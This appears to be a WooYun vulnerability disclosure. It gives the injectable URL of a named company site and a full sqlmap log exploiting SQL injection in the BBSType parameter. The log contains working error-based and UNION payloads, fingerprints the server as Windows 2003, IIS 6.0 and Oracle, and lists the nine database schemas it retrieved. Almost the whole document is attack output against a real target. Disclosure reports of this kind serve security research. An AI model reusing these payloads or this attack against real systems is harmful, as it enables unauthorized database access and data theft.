WooYun.org

http://external1.fesco.com.cn/NOKIA/nokiapquery/BBSList.aspx?Flag=1&BBSType=1

注入地址:http://external1.fesco.com.cn/NOKIA/nokiapquery/BBSList.aspx?Flag=1&BBS
Type=1
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:08:40
[23:08:40] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\external1.
fesco.com.cn\session' as session file
[23:08:40] [INFO] resuming back-end DBMS 'oracle' from session file
[23:08:41] [INFO] testing connection to the target url
[23:08:41] [INFO] heuristics detected web page charset 'utf-8'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: BBSType
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: Flag=1&BBSType=1 AND 6996=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||C
HR(119)||CHR(115)||CHR(98)||CHR(58)||(SELECT (CASE WHEN (6996=6996) THEN 1 ELSE
0 END) FROM DUAL)||CHR(58)||CHR(109)||CHR(115)||CHR(97)||CHR(58)||CHR(62))) FROM
 DUAL)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: Flag=1&BBSType=-4748 UNION SELECT CHR(58)||CHR(119)||CHR(115)||CHR(
98)||CHR(58)||CHR(84)||CHR(83)||CHR(112)||CHR(67)||CHR(100)||CHR(102)||CHR(89)||
CHR(66)||CHR(104)||CHR(69)||CHR(58)||CHR(109)||CHR(115)||CHR(97)||CHR(58) FROM D
UAL--
---
[23:08:42] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 1.1.4322
back-end DBMS: Oracle
[23:08:42] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[23:08:42] [INFO] fetching database (schema) names
[23:08:42] [INFO] the SQL query used returns 9 entries
[23:08:43] [INFO] retrieved: "APEX_030200"
[23:08:44] [INFO] retrieved: "CTXSYS"
[23:08:44] [INFO] retrieved: "EXFSYS"
[23:08:45] [INFO] retrieved: "LBACSYS"
[23:08:46] [INFO] retrieved: "MDSYS"
[23:08:50] [INFO] retrieved: "NOKIA"
[23:08:50] [INFO] retrieved: "SYS"
[23:08:51] [INFO] retrieved: "SYSTEM"
[23:08:52] [INFO] retrieved: "XDB"
available databases [9]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] LBACSYS
[*] MDSYS
[*] NOKIA
[*] SYS
[*] SYSTEM
[*] XDB
[23:08:52] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\external1.fesco.com.cn'
[*] shutting down at 23:08:52